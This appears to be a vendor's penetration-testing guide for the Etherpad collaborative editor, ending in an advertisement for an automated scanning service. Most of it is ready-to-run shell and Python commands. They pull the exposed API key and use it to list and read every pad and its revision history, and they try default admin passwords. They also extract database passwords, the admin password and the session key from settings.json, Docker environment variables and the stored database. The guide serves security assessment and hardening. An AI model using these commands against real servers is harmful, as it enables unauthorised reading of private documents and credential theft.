Etherpad Security Testing: Default Credentials, API Key, Database, and Pad Content

Etherpad is a widely deployed self-hosted real-time collaborative text editor — it is used by organizations for meeting notes, documentation, and sensitive collaborative writing. Key assessment areas: the APIKEY.txt file contains the API key that grants full access to all pad content without user authentication; the admin panel commonly uses weak default credentials; the DirtyDB default storage engine stores all pad content and revision history in a single plaintext file; and pads without passwords are accessible to anyone who can guess or enumerate the pad ID. This guide covers systematic Etherpad security assessment.

Table of Contents

  1. API Key Extraction and Pad Content Enumeration
  2. Admin Panel and Default Credential Testing
  3. Database and DirtyDB Pad History Extraction
  4. Etherpad Security Hardening

API Key Extraction and Pad Content Enumeration

# Etherpad — API key extraction and pad content enumeration
EP_URL="https://pad.example.com"

# APIKEY.txt — Etherpad API key stored in plaintext
# If accessible via web, full API access without any authentication
curl -s "${EP_URL}/APIKEY.txt" 2>/dev/null | head -1
# Returns: a random hex string (e.g., "a3b4c5d6e7f8...")

# Read API key from filesystem
EP_APIKEY=$(cat /opt/etherpad/APIKEY.txt 2>/dev/null || \
            cat /etherpad/APIKEY.txt 2>/dev/null || \
            cat /app/APIKEY.txt 2>/dev/null)
echo "API Key: $EP_APIKEY"

# List ALL pads on the server
curl -s "${EP_URL}/api/1/listAllPads?apikey=${EP_APIKEY}" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
pads = d.get('data',{}).get('padIDs',[])
print(f'Total pads: {len(pads)}')
for pad in pads[:20]:
    print(f'  {pad}')
" 2>/dev/null

# Get content of a specific pad
PAD_ID="meeting-notes-2026-07"
curl -s "${EP_URL}/api/1/getText?apikey=${EP_APIKEY}&padID=${PAD_ID}" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
text = d.get('data',{}).get('text','')
print(f'Pad content ({len(text)} chars):')
print(text[:500])
" 2>/dev/null

# Get all authors for a pad (reveals who contributed what)
curl -s "${EP_URL}/api/1/listAuthorsOfPad?apikey=${EP_APIKEY}&padID=${PAD_ID}" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
authors = d.get('data',{}).get('authorIDs',[])
print(f'Authors: {authors}')
" 2>/dev/null

# Get pad with specific revision (access deleted content)
curl -s "${EP_URL}/api/1/getHTML?apikey=${EP_APIKEY}&padID=${PAD_ID}&rev=1" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Revision 1:')
print(str(d.get('data',{}).get('html',''))[:300])
" 2>/dev/null

Admin Panel and Default Credential Testing

# Etherpad admin panel — default credential testing
EP_URL="https://pad.example.com"

# Admin panel access
curl -s -o /dev/null -w "%{http_code}" "${EP_URL}/admin" 2>/dev/null
# 200 = admin panel accessible (may be open or require auth)
# 401 = basic auth required
# 302 = redirect to login

# Common Etherpad admin credentials
for CRED in "admin:changeme" "admin:admin" "admin:password" "etherpad:etherpad"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
    -u "${USER}:${PASS}" "${EP_URL}/admin" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${RESULT}"
  [ "$RESULT" = "200" ] && echo "  SUCCESS!"
done

# Etherpad admin panel endpoints
# /admin/settings — view/modify settings.json including database credentials
# /admin/plugins — installed plugins list and plugin manager
# /admin/users — user list and session management

# settings.json exposure — may be readable via admin panel
curl -s -u "admin:changeme" "${EP_URL}/admin/settings" 2>/dev/null | \
  python3 -c "
import sys, re
data = sys.stdin.read()
# Extract database credentials and sensitive settings
for pattern in ['password', 'apikey', 'sessionKey', 'secret', 'database']:
    matches = re.findall(f'\"({pattern}[^\"]*)\"\s*:\s*\"([^\"]+)\"', data, re.IGNORECASE)
    for k, v in matches[:3]:
        print(f'  {k}: {v[:50]}')
" 2>/dev/null

Database and DirtyDB Pad History Extraction

# Etherpad database and DirtyDB pad history extraction

# DirtyDB — Etherpad default storage (single file, all data)
DIRTYDB="/opt/etherpad/var/dirty.db"
# or: /etherpad/var/dirty.db, /app/var/dirty.db

# DirtyDB is a newline-delimited JSON file
# Each line is: KEY\tVALUE
grep -a "^pad:" "$DIRTYDB" 2>/dev/null | head -20 | while read line; do
  PAD_KEY=$(echo "$line" | cut -f1)
  PAD_DATA=$(echo "$line" | cut -f2-)
  echo "Key: $PAD_KEY"
  echo "$PAD_DATA" | python3 -c "
import json,sys
d=json.load(sys.stdin)
atext = d.get('atext',{})
if atext:
    text = atext.get('text','')
    print(f'  Content preview: {text[:100]}')
" 2>/dev/null
done

# List all pad IDs from DirtyDB
grep -oP "^pad:[^\t]+" "$DIRTYDB" 2>/dev/null | sed 's/^pad://' | sort | uniq | head -30

# settings.json — Etherpad configuration
cat /opt/etherpad/settings.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
db = d.get('dbSettings',{})
print(f'DB type: {d.get(\"dbType\")}')
for k, v in db.items():
    print(f'  dbSettings.{k}: {str(v)[:60]}')
# Also check:
print(f'adminPassword: {d.get(\"users\",{}).get(\"admin\",{}).get(\"password\",\"\")}')
print(f'sessionKey: {str(d.get(\"sessionKey\",\"\"))[:20]}...')
" 2>/dev/null

# MySQL/PostgreSQL backend — pad revision history
# pad_revs table contains complete changesets for every revision
mysql -h localhost -u etherpad -pPASSWORD etherpad 2>/dev/null << 'EOF'
SELECT store.key,
       LEFT(store.value, 200) as value_preview
FROM store
WHERE store.key LIKE 'pad:%'
   OR store.key LIKE 'author%'
ORDER BY store.key
LIMIT 20;
EOF

# Docker environment variables
docker inspect etherpad 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['DB_','APIKEY','SESSION','PASSWORD','POSTGRES','MYSQL']):
            print(e)
" 2>/dev/null
# DB_PASSWORD — database password
# ADMIN_PASSWORD — admin panel password
# SESSION_KEY — session signing key

Etherpad Security Hardening

Etherpad Security Hardening Checklist:
Security TestMethodRisk
APIKEY.txt web exposure and pad content extractionGET /APIKEY.txt — if accessible, full API access to all pads; GET /api/1/listAllPads lists every pad; GET /api/1/getText extracts content without authenticationCritical
Admin panel default credential testingHTTP Basic auth to /admin with admin/changeme — access to all settings including database credentials, plugin management, and API key; plaintext password in settings.jsonHigh
DirtyDB dirty.db complete pad history accessRead dirty.db — all pad text content and complete revision history including deleted text; all author identities; no encryption at restHigh
Pad enumeration and unauthenticated accessGET /api/1/listAllPads + GET /p/{padID} — enumerate all pad IDs; access pad content without authentication when no password setHigh
settings.json database credential extractionRead settings.json — dbSettings.password database connection password; users.admin.password plaintext admin password; sessionKey session signing secretHigh

Automate Etherpad Security Testing

Ironimo tests Etherpad deployments for APIKEY.txt web exposure and full pad content extraction, admin panel default credential testing (admin/changeme), DirtyDB dirty.db plaintext pad history access, pad ID enumeration and unauthenticated content access, settings.json database password extraction, sessionKey session token forgery assessment, Docker ADMIN_PASSWORD and DB_PASSWORD exposure, revision history deleted content recovery, author identity extraction from pad changesets, and MySQL/PostgreSQL store table pad content enumeration.

Start free scan